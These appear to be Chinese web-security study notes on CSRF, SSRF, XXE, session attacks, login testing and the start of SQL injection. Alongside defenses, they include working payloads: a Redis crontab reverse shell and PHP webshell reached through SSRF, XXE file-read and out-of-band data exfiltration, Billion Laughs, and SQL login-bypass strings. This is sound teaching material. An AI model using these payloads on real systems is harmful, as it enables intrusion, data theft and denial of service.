可以通过一个中间页面来构造POST请求。比如下面的方法,在一个页面中构造好一个form表单,然后使用 JavaScript 自动提交这个表单
示例页面
攻击者在 www.b.com/test.html 中编写如下代码,此时攻击者只需要构建一个上面的Get型请求的payload,将其指向自己搭建的网址b.com即可向测试网站 a.com 发送POST请求
<img src=http://www.b.com/test.html>
<form action="http: / / www . a.com/register" id="register" method="post" > <input type=text name="username" value=""/> <input type=password name="password" value=""/> <input type=submit name="submit" value="submit"/> </ form> <script> var f = document.getElementById ( "register"); f.inputs [0].value = "test"; f.inputs [1].value = "passwd" ; f.submit (); </script>
历史漏洞
在道哥(吴瀚清)的《白帽子讲Web安全》一书中提到了2007年 Gmail CSRF 漏洞。 用户只需要登录Gmail账户,以便让浏览器获得Gmail的临时Cookie;然后攻击者诱导用户访问一个恶意页面,这个恶意页面中隐藏了一个 iframe ,iframe的地址指向了攻击者写的CSRF构造页面,这个页面的作用就是把参数生成一个POST表单,并自动提交;由于浏览器中已经存在Gmail的临时Cookie,所以用户在恶意页面中对Gmail发起的这次请求会成功——邮箱的Filter中会新建一条规则,将所有自带附件的邮件都转发到攻击者的邮箱中
Cookie简介
由于 csrf 主要利用的就是cookie,所以这里简单说一下临时cookie和本地cookie的区别
Session Cookie
临时Cookie,服务器没有指定失效时间(expire),它在浏览器进程的整个生命周期都是有效的,保存在浏览器进程的内存空间中,只有关闭当前的浏览器进程时才会失效(我是用blog.csdn.net试验的,登出账户不会改变csrfToken,关闭浏览器才会更新csrfToken值)
Third-party Cookie
本地Cookie,它是服务器在 Set-Cookie 中指定了 Expire 时间,只有到了时间后 Cookie 才会失效,平时保存在本地 如 csdn.net 的 userToken 保存时间是6个月
利用过程
前提
用户登录存在漏洞的网站,并且本地保存了身份信息,如:cookie等
在不登出或该网站Cookie没有失效的情况下,访问恶意网站
过程
1. 用户登录了存在csrf漏洞的网站A
2. 网站A验证了用户的登录信息,并下发了一个sessionID,客户端将其存储在浏览器中
3. 用户在新Tab页下访问了恶意网站B,并触发了相关操作(即网站B中有链接指向网站A)
4. 浏览器在用户不知情的情况下,通过网站B中的链接访问网站A (此时已经携带了用户的网站A的sessionID)
5. 网站A校验了身份信息后发现是合法的,就执行了浏览器发送的请求对应的操作
测试方法
检测工具
burp
burp collaborator
CSRFTester
测试原理如下: 使用CSRFTester测试时,首先需要抓取我们在浏览器中访问过的所有链接以及表单的信息,然后通过CSRFTester中修改相应的表单信息重新提交; 如果修改后的测试请求成功被网站服务器接受,则说明存在CSRF漏洞。
挖掘Csrf漏洞
容易出现的地方
扫描器
修改密码的地方
添加用户的地方
数据库备份的地方
数据交易、支付等
等其它一些对话框钓鱼页面
测试方法
删除 referer 重放
抓取一个正常的数据包,如果没有 token 或 referer 字段,那就有可能存在CSRF漏洞
如果有Referer字段,但是去掉referer字段后重新提交,如果仍然返回正常,那么基本可以确定存在CSRF
使用 burp 生成 POC 点击
在类似修改内容的地方修改后提交,使用 burp 拦截数据包
拦截后右键 engagement Tools -> generate CSRF POC,之后丢掉原数据包,使修改失效
将生成的数据包复制到一个 HTML 文件里,在已经登录该网站的浏览器上打开该文件,点击 submit request ,之后查看是否修改成功,如果修改成功,就存在漏洞
CSRF一般与XSS结合使用
防范方法
验证码
CSRF的攻击过程中发送请求通常是不被用户所知的,而验证码则必须由用户与web应用交互才能完成最终的请求,但出于用户体验上的考虑,不可能给所有操作都加上验证码。所以验证码只能是作为防御CSRF的一种辅助手段,而不能作为最终解决方案
校验http referer字段
通过检查请求是否来自合法的源。 但校验referer的缺陷在于服务器并非总是可以取到referer。有些用户可能出于隐私保护的考虑,限制了referer的发送。在有些情况下浏览器也不会发送referer(比如从 HTTPS 跳转到 http)。
添加token值
防御Csrf的token是根据“不可预测性原则”设计的方案,所以Token一定要足够随机,需要使用安全的随机数生成器生成Token。 因为这个Token不是用来防止重复提交的,所以为了使用方便,可以允许在一个用户的生命周期内,在Token消耗掉前都使用同一个Token,但如果用户完成了表单的提交,这个Token就应该失效掉,并重新生成一个新的token。 最后,使用token时应注意token的保密性,token如果出现在某个页面的URL中,则可能会通过referer的方式泄露。这个就涉及到了凭证信息传输方式测试(这一测试要求token session 等会话信息必须使用POST方法请求)
最后一句话概括token的要点: 使用token时应尽量把Token放在表单中,把敏感操作有Get改为Post,以form表单(或AJAX)的形式提交,使用安全的随机数生成器生成token
SSRF
SSRF简介
SSRF
攻击者通过构造形成,由服务端请求其他内网机器的安全漏洞
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)
SSRF产生的原因:
由于服务端提供了从其他服务器应用获取数据的功能,但没有对地址和协议等做过滤和限制引起的
SSRF漏洞的局限性
大部分情况下都是GET型SSRF漏洞,仅能探测存活、扫描端口、内网域名探测,危害十分有限
https请求ssl证书无法正常解析
SSRF攻击结果由函数本身来决定,函数的功能越强大,攻击的成功的几率就越大,如:curl_init 、 file_get_contents、 fsockopen(白盒测试,代码审计)
存在位置(黑盒测试)
1)分享:通过url地址分享网页的内容
2) 转码服务
3)在线翻译
4)图片加载与下载;通过url地址加载与下载图片
5)图片、文章收藏功能
6)未公开的api实现与其他调用得url的功能
7)从url关键词来查找
share
wap
url
link
src
source
target
display
sourceURL
imageURL
domain
u
3g
SSRF漏洞危害
1)可以对外网、服务器所在的内网、本地进行端口扫描,获取一些服务器的banner(指纹信息)信息
2)攻击运行在内网或本地的应用程序(比如溢出)
3)对内网的web进行指纹识别,通过访问默认文件实现
4)攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2 sqli等)
5)利用file协议读取本地文件
6) 如果是可以发送post请求的全回显型的SSRF,甚至可以搭建代理来访问内网
绕过方法
更改IP地址的写法
8进制
8进制格式:0300.0250.0.1
16进制
16进制格式:0xC0.0xA8.0.1
10进制
10进制整数格式:3232235521
利用解析URL出现的问题(把域名拼接上去,加@符号)
http://www.oldboyedu.com@192.168.0.1/
利用方法
(1)SSRF 服务端请求伪造
一、对内网扫描,获取 banner
二、攻击运行在内网的应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)
三、利用协议读取本地文件
四、云计算环境 AWS Google Cloud 环境可以调用内网操作 ECS 的 API
ssrf 怎么用 redis 写 shell ?
(2)SSRF 利用 redis 写webshell
webligic SSRF 漏洞通过 SSRF 的 gopher 协议操作内网的 redis,利用 redis 将反弹 shell 写入 crontab 定时任务,url 编码,将\r 字符串替换成%0d%0a
WebLogic SSRF漏洞攻击内网Redis反弹shell?
1)首先访问WebLogic的漏洞页面
http://xxx.xxx.xxx.xxx:xxxx[这个是WebLogic服务的IP]/uddiexplorer/SearchPublicRegistries.jsp?operator=http://xxx.xxx.xxx.xxxx[这个是想要探测的内网IP]&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
2)内网的端口探测,扫端口得到内网Redis端口为6379
3)发送redis命令,将弹shell脚本写入/etc/crontab中,crontab就是linux下的一个定时执行事件的一个程序,不懂的小伙伴可以自行谷歌
set 1 "\n\n\n\n* * * * root bash -i >& /dev/tcp/xx.xx.xx.xx[这里是你自己的公网IP]/8888[这里是你监听的端口] 0>&1\n\n\n\n" config set dir /etc/config set dbfilename crontab save
4)通过GET来发送命令的,因此要将上面的命令进行URL编码,同时我们还要制定一个要写入的文件,这里我就叫做test了,最终的URL如下
?operator=http://172.21.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fxxx.xxx.xxx.xxx%2F8888%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
5)在自己的公网IP上监听8888端口
nc -l 8888
6)然后发送请求即可反弹shell了
7)如果burp的右边出现了你输入的命令的回响,那么证明你发送的命令已经被服务器接受了,反弹shell成功!
https://www.jianshu.com/p/42a3bb2b2c2c
redis(6379)未授权访问(redis写webshell)
第一步:通过kail redis-cli连接(右面设置)
1)kali linux 安装 redis
apt-get install redis-server -y
2)daemonize yes修改配置: 将链接的限制 127.0.0.1注释了和proteced 改为no
vim /etc/redis/redis.conf
3)后台运行
redis-server /etc/redis/redis.conf
4)测试是否运行
redis-cli -h 192.168.56.131 -p 6379
第二步:写入webshell
1、在攻击机上能用redis-cli连上; 2、开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),3、还需要具有文件读写增删改查权限。
redis-cli -h 192.168.56.131 -p 6379 192.168.56.131:6379> config set dir /var/www/html OK 192.168.56.131:6379> config set dbfilename shell.php OK 192.168.56.131:6379> set webshell "\n\n\n<?php@eval($_POST['shell']);?>\n\n\n" OK 192.168.56.131:6379>
第三步:写入webshell时需要使用换行,因为redis写入文件的时候会自带一些版本信息,不换行可能会导致无法执行。
1)同时打开kali 输入:pwd查找当时路径
2)输入命令查询:ls
3)切换路径:cd /var/www/html
4)查询:ls
5)查看命令:cat -n shell.php
6)查看开启端口:netstat -ant
7)编辑:vim /etc/apache2/apache2.conf
8)切换路径:cd /var/www/html
9)编辑:vim shell.php
10)修改权限:chmod 777 shell.php 并ls查询
11)查看:cat shell.php
12)网站测试:http://192.168.56.131/shell.php
13)蚁剑连接木马:http://192.168.56.131/shell.php
防范方法
1)过滤192.168.0.0/10.0.0.0/172.16.0.0 localhost 私有地址、ipv6地址
2)过滤file:/// 、 dict:// 、gopher:// 、ftp://、 http:// https:// php:///危险schema
3)白名单过滤
4)对返回的内容进行识别
SSRF与XSS、CSRF的区别
CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?
XSS 是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用 HTTP Only 来禁止 JavaScript 读取 Cookie 值、输入时校验、输出时采用 html 实体编码。
CSRF 是跨站请求伪造攻击,XSS 是实现 CSRF 的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范 CSRF 的页面然后嵌入 Token、再次输入密码、检验 Referer
XXE 是 XML 外部实体注入攻击,XML 中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML 解析库在调用时严格禁止对外部实体的解析。
重点:
XSS与SSRF的区别?
SSRF属于服务端攻击,无需输出就能攻击,利用dnslog来实现攻击的,结果值在dnslog日志体现; XSS属于客户端攻击,必须有输入和输出,xss不需要登陆就可以实现脚本攻击
CSRF、SSRF 和重放攻击有什么区别?
CSRF 是跨站请求伪造攻击,由客户端发起;是在建立会话的过程点击;攻击客户端; SSRF 是服务器端请求伪造,由服务器发起;不需要建立会话过程,是攻击内网 重放攻击是将截获的数据包进行重放,达到身份认证等目的
XXE
XML简介
XML定义
XML(Extensible Markup Language 可扩展标记语言)用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 XML被设计用来传输和存储数据,而不是显示数据,XML标签没有被预定义,需要用户自行定义标签。(注意:XML不会做任何事情,他只是包装在XML标签中的纯粹的信息) XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
XML文档实例
外部文件引用
<?xml version="1.0" encoding="ISO-8859-15" ?> <!DOCTYPE root SYSTEM "http://somewhere.for.dtd/file" [ <!ELEMENT root (other)> <!ELEMENT other (#PCDATA)> <!ENTITY generalentity "content"> <!ENTITY % extendentity SYSTEM "http://somewhere.for.EXTdtd/file"> %extendentity; ]>
XML声明
<?xml version="1.0" encoding="ISO-8859-15" ?>
XML声明,定义版本及编码
DTD文档类型定义
<!DOCTYPE root SYSTEM "http://somewhere.for.dtd/file" [
DOCTYOR (Document Type Definition),DTD 定义XML文档的结构
root 指定根节点名称,自定义
SYSTEM 声明要使用的外部DTD文件路径,后面加文件URL,本地DTD文件用一对 [] 包裹
<!ELEMENT root (other)> <!ELEMENT other (#PCDATA)>
元素声明,声明XML中包含的元素
声明中需要指定元素名称(root other等)和元素类别、内容等
<!ENTITY generalentity "content">
ENTITY 标签用于声明实体
<!ENTITY % extendentity SYSTEM "http://somewhere.for.EXTdtd/file">
定义参数实体,格式为:<!ENTITY % 参数名称 参数内容> 引用格式: %参数名称
参数实体只能在DTD文件中引用,内部DTD文件中的参数实体引用只能出现于DTD标签可以出现的位置,外部DTD文件中参数实体的引用可以出现于DTD标签内部,如:<!ENTITY one "%another;">
%extendentity;]>
引用参数外部实体
内部文件引用
<?xml version="1.0" ?> <!DOCTYPE note [ <!ELEMENT not (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don'tforget the meeting!</body> </note>
XML声明
<?xml version="1.0" ?>
DTD文档类型定义
<!DOCTYPE note [ <!ELEMENT not (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>
文档元素
<note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don'tforget the meeting!</body> </note>
XML元素定义
加入DTD声明
<!DOCTYPE root[]>
元素分类
<!ELEMENT anyelement ANY>
任意元素
这表明该元素可以包含DTD中定义的其它任何元素、字符数据、实体参考等
<!ELEMENT elementName EMPTY>
空元素
<!ELEMENT elementName (#PCDATA)>
文本元素
<!ELEMENT elementName (element1,element2)>
混合元素
元素限制
逻辑
,
与
|
非
次数
?
0或1次
*
0-N次
+
1-N次
DTD
DTD声明
DTD(文档类型定义)的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用。
内部声明DTD
<!DOCTYPE 根元素 [元素声明]>
引用外部DTD
<!DOCTYPE 根元素 SYSTEM "URL">
<!DOCTYPE 根元素 PUBLIC "public_ID" "URL">
DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用 调用的时候只需要 & 调用即可
内部声明
<!ENTITY entity "entityName"> <a>&entity;</a>
外部引用
ENTITY 可以通过 SYSTEM 关键字,调用外部资源
<!ENTITY entity SYSTEM "http://a.com/entityTest.html"> <a>&entity;</a>
XML实体
字符实体
子主题 1指用十进制格式(&#aaa;)或十六进制格式(પ)来指定任意 Unicode 字符。对 XML 解析器而言,字符实体与直接输入指定字符的效果完全相同。
命名实体
就是上面的内部声明DTD
外部实体
就是上面的外部声明DTD,用 SYSTEM 表示
参数实体
参数实体只用于DTD和文档的内部子集中,在XML的规范定义中,只有DTD中才能引用参数实体,参数实体的声明和引用都是使用 "%" ,并且仅在经过解析和验证后才用于替换DTD中的文本或其他内容
<!ENTITY % entityName "test">
<!ENTITY % entityName SYSTEM "URI">
实例
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ENTITY % test "hello"> <!ENTITY % test2 "&test world"> %test2; ]> //输出为 hello world
这里可以通过在 a.dtd 文件中写入 <!ENTITY value SYSTEM "file:///etc//passed">,然后通过以下payload实现参数实体的XML任意文件读取
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ENTITY % test2 "http://a.com/a.dtd"> %test2; ]> <a>&value;</a>
内部实体
<
<
>
>
'
'
"
"
&
&
各种程序支持的协议
libxml2
file
http
ftp
PHP
file
http
ftp
php
compress.zilb
compress.bzip2
data
glob
phar
java
http
https
ftp
file
jar
netdoc
mailto
gopher
.NET
file
http
https
ftp
XXE介绍
XXE原理
XXE(XML外部实体注入,XML External Entity) ,在应用程序解析输入的XML数据时,解析了攻击者伪造的外部实体而产生。 当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。 当运维人员使用了低版本php,libxml低于2.9.1或者程序员设置了libxml_disable_entity_loader(FALSE)就可以加载外部实体。;
如何找xxe漏洞
白盒测试
查看代码里面是否使用了LoadXML( )函数
黑盒测试
抓包看POST请求体accept头是否接受xml 响应体是否存在xml数据
https://www.cnblogs.com/mysticbinary/p/12668547.html
提交一个POST请求,请求头加上Content-type:application/xml,同时再加上payload
看到url文件名是否 .ashx后缀扩展名
抓包修改数据类型,把json改成xml来传输数据
恶意引入外部实体的方式
方式1 DTD 内部声明外部实体
<?xml version="1.0"?> <!DOCTYPE a [ <!ENTiTY b SYSTEM "file:///etc/passwd"> ]> <c>&b</c>
方式2 DTD内部声明外部参数实体
payload
<?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY % d SYSTEM "http://d.com/d.dtd"> %d; ]> <c>&b;</c>
http://d.com/d.dtd内容
<!ENTITY b SYSTEM "file:///etc/passwd">
方式3 DTD引用外部实体
payload
<?xml version="1.0"?> <!DOCTYPE a SYSTEM "http://a.com/a.dtd"> <a>&b</a>
http://a.com/a.dtd
<!ENTITY b SYSTEM "file:///etc/passwd">
XXE注入利用步骤
测试是否允许外部实体引用
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ELEMENT root (data)> <!ELEMENT data (#PCDATA)> <!ENTITY var "tzuxung"> ]> <root> <data>&var;</data> </root>
任意文件读取
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ELEMENT root (data)> <!ELEMENT data (#PCDATA)> <!ENTITY var SYSTEM "file:///etc/passwd"> ]> <root> <data>&var;</data> </root>
通过PHP:// 过滤器读取
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ELEMENT root (data)> <!ELEMENT data (#PCDATA)> <!ENTITY var SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/xxe.php"> ]> <root> <data>&var;</data> </root>
自动化注入检查工具(不怎么用)
https://github.com/enjoiz/XXEinjector
XXE攻击分类
有回显
<?xml version = "1.0"?> <!DOCTYPE note [ <!ENTITY hacker SYSTEM "file:///c:/windows/win.ini" > ]> <name>&hacker;</name> //定义DTD文件,格式为:root指定根节点名称,system声明要使用的外部DTD文件路径,如:<!ENTITY 实体名称 SYSTEM "URI/URL">
无回显
建立*.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.0.105:8080?p=%file;'>"> //内部的%号要进行实体编码成%
xml调用
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip/test.dtd"> %remote;%int;%send; ]>
XXE的危害
探测内网
根据不同的报错信息判断内网的端口开放情况; 如:有的是 "HTTP request failed",有的是 "Connection refused",通过返回的“Connection refused”可以知道该端口是closed的,而另一种状态的端口是open的
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY> <!ENTITY xxe SYSTEM "http://127.0.0.1:80">]> <root> <name>&xxe;</name> </root>
任意文件读取
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root> <name>&xxe;</name> </root>
不回显的
base64编码 + 外带数据通道
可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。 有报错的直接查看报错信息,base64的数据 没有报错的需要访问接受数据的服务器中的日志信息,可以看到base64编码过得数据
payload <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE updateProfile [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php"> <!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd"> %dtd; %send; ]> evil.dtd的内容,内部的%号要进行实体编码成%。 <!ENTITY % all “<!ENTITY % send SYSTEM ‘http://xxx.xxx.xxx/?data=%file;’>” > %all;
执行系统命令
PHP下需要expect扩展
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY> <!ENTITY xxe SYSTEM "expect://id">]> <root> <name>&xxe;</name> </root>
DOS攻击
最典型的案例Billion Laughs 攻击,Billion laughs attack,xml解析的时候,<lolz></lolz>中间将是一个十亿级别大小的参数,将会消耗掉系统30亿字节的内存。
原理就是先定义了lol实体,值为"lol"字符串,之后有定义了lol1,它的值为10个lol,一次类推,最后的lol9定义的含有10个lol8的字符串中已经包含了上亿个"lol"字符串。 如果解析数据是没有做特殊的处理,就有可能造成拒绝服务攻击
POC
<?xml version = "1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]> <lolz>&lol9;</lolz>
防范方法
1、使用开发语言提供的禁用外部实体的方法
PHP: libxml_disable_entity_loader(true); JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); setFeature("http://apache.org/xml/features/disallow-doctype-decl",true); setFeature("http://xml.org/sax/features/external-general-entities",false) setFeature("http://xml.org/sax/features/external-parameter-entities",false); Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2、过滤用户提交的XML数据
过滤 <!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC
3、检查所使用的底层xml解析库,默认禁止外部实体的解析
4、使用第三方应用代码及时升级补丁
5、加强对系统的监控,防止此问题被利用
认证与会话管理
简介
认证与授权的区别
认证
(Authentication),认证是为了认出用户是谁,认证实际上就是一个 验证凭证的过程
如果只有一个凭证用于认证,则称为"单因素认证" 如果有两个或多个凭证用于认证,就是"双因素"或"多因素认证"
授权
(Authorization),授权是为了决定用户可以做什么
假设系统就是一间房子,用户掏出钥匙(账号密码等凭证)开锁进入房子的过程就是认证。 如果进入完成这个认证的人是这间房子的主人的话,那他就可以使用这个房子的所有功能,可以去卧室睡觉、可以去厨房吃饭等等;但如果你是客人拿着主人的钥匙进去的,那你可能只能说使用主人允许的功能,比如去客厅坐一会之类的。这个时候我们会发现你能够干什么取决于你的角色,而这个角色是提前授予的,也就是授权给你可以去做什么。 如果有人捡到了钥匙,或者那个客人复制了一个一样的钥匙进去了房间,那这个认证的过程就出现了问题,它可以直接获得和钥匙主人一样的权限,为所欲为。
密码策略
密码长度方面
普通应用要求长度为6及以上
重要应用要求长度为8及以上,并考虑双因素认证
密码复杂度方面
密码区分大小写
密码为大写、小写、数字、特殊符号中两种以上组合
不要有连续的字符,或位于键盘上连续的字符,如123,qwe
避免出现重复字符,如 111
加密方法
密码必须使用不可逆的加密算法,或单向散列函数算法,加密后存储在数据库中
为避免密码哈希值泄露后,直接通过彩虹表查询密码明文,可以在计算密码明文的哈希值时,增加一个 salt ,并将salt保存在服务器端的配置文件中,并妥善保管
多因素认证
密码
手机动态口令
数字证书
验证码
session与认证
简介
当用户登录后,在服务端创建一个新的会话(Session),会话中保存用户的状态和相关信息。服务器维护所有在线用户的Session,此时的认证,只需要知道是哪个用户在浏览当前页面即可。为了告诉服务器应该使用哪一个Session,浏览器需要把当前用户持有的SessionID告知服务器。
最常见的做法就是将SessionID加密后保存在Cookie中,因为Cookie会随着HTTP请求头发送,且受到浏览器同源策略的保护。
session劫持与Cookie劫持
Session劫持就是一种通过窃取用户的SessionID,使用该SessionID登录目标账户进行攻击的方法,如果SessionID保存在Cookie中,则称为Cookie劫持。
SessionID还可以保存在URL中作为请求的一个参数,但是安全性很低。(很多手机浏览器不支持Cookie,就只能将SessionID作为URL参数)
session固定攻击
原理
在用户登录过程中,登录前后用户的SessionID没有发生变化,就会存在Session Fixation(固定)问题
利用方式
1. 攻击者先获取到一个未经认证的SessionID,然后将这个SessionID交给受害者去认证
2. 受害者完成认证后,服务器未更新此SessionID值(注意不是未改变session)
3. 攻击者等待受害者认证完成之后,使用之前的SessionID登录到受害者的账户
在上面的利用中可以看到攻击的重点在于使受害者完成攻击者给他的SessionID的认证。 如果SessionID保存在Cookie中,是比较难做到这一点的; 如果SessionID保存在URL中,攻击者只需要诱骗用户打开这个URL即可
修复方式
在登录完成之后,重写用户的SessionID
Session保持攻击
简介
一般来说,Session是有生命周期的,当用户长时间没有活动,或用户点击登出后,服务器没有销毁用户的session,就有可能造成Session保持攻击
利用方法
系统出于用户体验考虑,只要用户还"活着"就不让Session失效
攻击者通过不停的发起访问请求,让Session一直活下去
如果网站访问量大,服务器端不维护session,而将Session放在Cookie中加密保存。用户访问网站时自动发送Cookie,服务器只需要加密Cookie就能得到当前用户的session,再通过Cookie中的Expire标签来控制Session的失效时间
Cookie的 Expire 时间是完全可以由客户端控制的,篡改这个时间,并使其永久有效,就能得到一个永久有效的Session
攻击者甚至可以为Session Cookie 增加一个 Expire 时间,使得原本浏览器关闭就会失效的Cookie持久的保存在本地,变成一个第三方Cookie
防范方法
1. 设置服务器一定时间后强制销毁Session
这个时间可以从用户登录的事件算起,设定一个阈值
2. 可以选择当客户端发生变化时,要求用户重新登录 (如:IP、UA等信息发生变化时,就强制销毁当前的Session)
SSO(单点登录)
简介
(Single Sign On),它希望用户只需要一次登录,就可以访问所有的系统,但他也把所有的风险集中在了单点上,这样做有利有弊
优劣
优点
SSO把风险集中在了一起,避免了多个系统由于产品需求、应用环境、开发工程师的水平等差异,造成登录功能安全标准不统一形成的弱点。它可以从重设置认证难度,对于一些小业务,也可以不用单独维护一份用户密码,而是专注于业务本身。
缺点
由于风险集中了,如果SSO被攻破,意味着影响范围将扩大到旗下所有使用单点登录的系统。
降低这种风险的方法是在一些敏感的系统里,在单独实现一些额外的认证机制。如网上支付平台付款前要求用户再输入一次密码,或手机短信验证用户身份等
IAM(身份识别与访问管理)
简介
Identity and Access Management 的缩写,即“身份识别与访问管理” IAM是让合适的自然人在恰当的时间通过统一的方式访问授权的信息资产,提供集中式的数字身份管理、认证、授权、审计的模式和平台。总之,IAM是一个综合的概念
常见的访问控制模型
ACL
Access Control List,访问控制列表
RBAC
Role-based Access Control, 基于角色的访问控制
登录页面测试
登录页面可能产生哪些漏洞
注入点及万能密码登录
不安全的用户提示 如:提示用户名不存在或密码及验证码错误等
查看登录页面源代码,是否存在敏感信息泄露
不安全的验证码 验证码使用后不过期,可以继续使用
在注册账号有时候存在不安全的提示 如:注册时提示该用户已被占用等
不安全的密码 在注册的时候密码没有限制复杂度
在暴力破解的时候未限制IP,锁定用户
一个账号可以在多地登录,没有安全提示
账号登录之后应该具备超时功能
任意无限注册账号
OA、邮件、默认账号等相关系统,在不是自己注册的情况下,应该在登录之后强行更改密码
逻辑漏洞,任意密码重置
越权漏洞,纵向,横向越权
数据包含有敏感信息泄露 如:cookie
不安全的数据传输 如:密码为明文,未使用https证书
任意文件下载
登录页面怎么找漏洞
1、条件允许的情况下开启漏洞扫描 2、敏感信息的探测,例如端口,目录,JS文件 3、爆破弱口令 4、抓包看看是否存在逻辑漏洞,或者SQL注入进行尝试 5、寻找框架漏洞
测试项
SQL注入
万能密码绕过
存在的可能性不大,稍微试试也不费劲
payload
admin'or 1=1 -- "or "a"="a
登录入口进行SQL注入
admin123'
爆破
明文传输
这个不能算是漏洞,只能说是一个不足,它使得爆破的成本变得很低。 在银行这类网站是要求不能使用弱加密的,一般要求使用国密算法
用户名可枚举
此漏洞存在主要是因为页面对所输入的账号密码进行的判断所回显的数据不一样,我们可以通过这点来进行用户名的枚举,然后通过枚举后的账户名来进行弱口令的爆破; 毕竟当你收集了很多账号之后,他们中一定有人是使用弱口令的
防御手段的话仅需要将用户名与密码出错的回显变成一样即可,例如用户名或密码出错
爆破弱口令
弱口令无处不在,当然你需要一个好的密码本 Web页面最常用的爆破工具为Burp 客户端爆破工具:hydra、Bruter
扫描
JS扫描
JS文件我们在渗透测试中也是经常用到的东西,有时候我们可以在JS文件中找到我们平时看不到的东西,例如重置密码的JS,发送短信的JS,都是有可能未授权可访问的
工具的话可以使用 JSFind
目录扫描
Dirsearch
Nmap
获取网站的端口信息,而这些端口信息中常常可以给予我们非常大的帮助,例如开放了3389端口,或者一些敏感端口的探测
框架漏洞
寻找CMS或网页框架,查找历史漏洞,万一没修复呢
注入
SQL注入
SQL注入介绍
注入攻击原理
后端和数据库交互的SQL中,拼接了前端用户输入的可控数据,且未对该数据做严格的过滤防护导致的安全问题
1.前端有可控参数
2.后端将可控参数拼接到与数据库交互的SQL语句中
3.后端没有对用户提交的参数做严格的过滤防护
注入攻击属于服务端攻击,与操作系统、数据库类型、脚本语言类型无关
注入漏洞的检测方法
and
介绍
and 表示连接条件,代表且,也就是说 and 两边的表达式必须都为 true ,最终结果才是 true
判断逻辑
